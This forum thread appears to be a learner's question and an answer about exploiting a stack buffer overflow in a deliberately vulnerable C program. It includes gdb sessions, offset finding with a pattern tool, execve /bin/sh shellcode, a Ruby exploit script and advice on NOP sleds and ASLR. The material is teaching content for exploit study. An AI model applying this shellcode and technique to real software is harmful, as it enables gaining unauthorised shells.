2

I have been doing an exercise about a buffer overload on a C program, the goal of this problem is to get the root shell once I have inserted a shellcode into the program. This is what I have until now:

STEP 1.- Firstable let´s see my C code in the file called file.c :

root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>

void premio()
{
     printf("I have altered the programs flow\n");
}

int main(int argc, char *argv[])
{
    char buffer[100];
    if (argc != 2)
   {
         printf("Use: %s argument\n",argv[0]);
         return -1;
    }
    strcpy(buffer,argv[1]);
    printf ("%s\n",buffer);
    return 0;
}

STEP 2.- I have compilled it and deactivate the ASLR to avoid receiving random addresses as follows:

gcc -fno-stack-protector -z execstack buffer.c -o buffer

echo 0 > /proc/sys/kernel/randomize_va_space

STEP 3.- Let´s check how it works :

root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault  (this means we have overwritten the EIP register)

root@kali:~# gdb ./file
(gdb) run  `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb) 

STEP 4.- We will find the value of the position of EIP using :

root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae

Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()

root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120

In this case we have found that if we write 120 characters the next 5 will be EIP

STEP 5.- -Now we will create a script to overwrite the buffer with the shellcode, the shellcode was taken from :

\x31 \xc0                   xor eax, eax
\x50                        push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68        push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e        push 0x6e69622f
\x89\xe3                    mov ebx, esp
\x50                        push eax
\x53                        push ebx
\x89\xe1                    mov ecx, esp
\xb0\x0b                    mov al, 0xb
\xcd\x80                    int 0x80  

root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes

print (shell + aes + eip) #125 bytes total

STEP 6.- Now we must know what address must jump to begin to execute our shell, but here I am stuck because I do not know how to do.

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000000753 <+0>:     push   rbp
   0x0000000000000754 <+1>:     mov    rbp,rsp
   0x0000000000000757 <+4>:     add    rsp,0xffffffffffffff80
   0x000000000000075b <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x000000000000075e <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000000762 <+15>:    cmp    DWORD PTR [rbp-0x74],0x2
   0x0000000000000766 <+19>:    je     0x78a <main+55>
   0x0000000000000768 <+21>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000076c <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000000076f <+28>:    mov    rsi,rax
   0x0000000000000772 <+31>:    lea    rdi,[rip+0xf1]        # 0x86a
   0x0000000000000779 <+38>:    mov    eax,0x0
   0x000000000000077e <+43>:    call   0x5f0 <printf@plt>
   0x0000000000000783 <+48>:    mov    eax,0xffffffff
   0x0000000000000788 <+53>:    jmp    0x7b5 <main+98>
   0x000000000000078a <+55>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000078e <+59>:    add    rax,0x8
   0x0000000000000792 <+63>:    mov    rdx,QWORD PTR [rax]
   0x0000000000000795 <+66>:    lea    rax,[rbp-0x70]
   0x0000000000000799 <+70>:    mov    rsi,rdx
   0x000000000000079c <+73>:    mov    rdi,rax
   0x000000000000079f <+76>:    call   0x5d0 <strcpy@plt>
   0x00000000000007a4 <+81>:    lea    rax,[rbp-0x70]
   0x00000000000007a8 <+85>:    mov    rdi,rax
   0x00000000000007ab <+88>:    call   0x5e0 <puts@plt>
   0x00000000000007b0 <+93>:    mov    eax,0x0
   0x00000000000007b5 <+98>:    leave
   0x00000000000007b6 <+99>:    ret
End of assembler dump.

STEP 7.- Here is suppose to find the address to put it into the exploit script changing the value of eip but I don`t know what to do neither, sorry

(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
                   ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb

Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590:     Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000      0x00000000      0xffffe668      0x00007fff
0x7fffffffe5a0: 0xf7b9c168      0x00000002      0x55554753      0x00005555
0x7fffffffe5b0: 0x00000000      0x00000000      0xb3c231f4      0x54cfb08e
0x7fffffffe5c0: 0x55554610      0x00005555      0xffffe660      0x00007fff
0x7fffffffe5d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe5e0: 0xf76231f4      0x019ae5db      0x589031f4      0x019af56f
0x7fffffffe5f0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe600: 0x00000000      0x00000000      0xffffe680      0x00007fff
0x7fffffffe610: 0xf7ffe168      0x00007fff      0xf7de875b      0x00007fff
0x7fffffffe620: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb)

At the end of all it must give me a root shell.

Almost to finish, on steps 6 and 7 I am really stuck, can you help me please?

1 Answer 1

4

Okay, so I will try to answer to all your questions and add a few remarks.

  1. Do not disable ASLR system-wide, prefer to disable it within the current process.

    In fact, echoing 0 in randomize_va_space will totally shutdown the ASLR for your whole system leaving it vulnerable to external attack. If you are under Linux, the best way to disable locally the ASLR is to use the process personality flags like this:

    $> setarch $(uname -m) -R /bin/bash
    

    This command will start a new bash process (encapsulated in the first one... think about the Inception movie) which will disable the ASLR. The good thing is that you do not need to be root to run this command. The bad thing is that if you are running a setuid program, then the personality will be discarded (to avoid an obvious security risk).

    Finally, you can note that if you are just experimenting a buffer-overflow exploitation for the first time, then gdb is disabling the ASLR for you and, for educational purpose, it might be enough to make it work within gdb.

    Also, try to avoid running these kind of things as root, this is extremely risky... I cannot help but telling you to do it as a simple user.

  2. Where is my mind^Wshellcode ?

    Well, your shellcode is exactly located at your buffer address. You can simply compile your vulnerable program with the debug option (-g) and then ask gdb to tell you where it is:

    (gdb) print &buffer
    
  3. NOP-sled your injection to make the exploit more reliable!

    Note that you wrote a bunch of as as padding between the shellcode and the overwrite of the saved eip, but we usually use this space before the shellcode and fill it with NOPs (0x90) to build a NOP sled. This technique help to increase the chances to reach the shellcode and execute it (even if you are not very precise at guessing the address of buffer, you may land in the NOP-sled and follow it to the shellcode). At the end, you should have something like:

    [NOP-sled + shellcode + return-address]
    
  4. Use the Force^Wdebugger, Luke!

    Do not hesitate to step the program at the assembly level by doing ni (next-instruction) and si (step-instruction) and follow what happen. This is extremely helpful to debug and understand what happen.

Hope this helped you a bit...

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.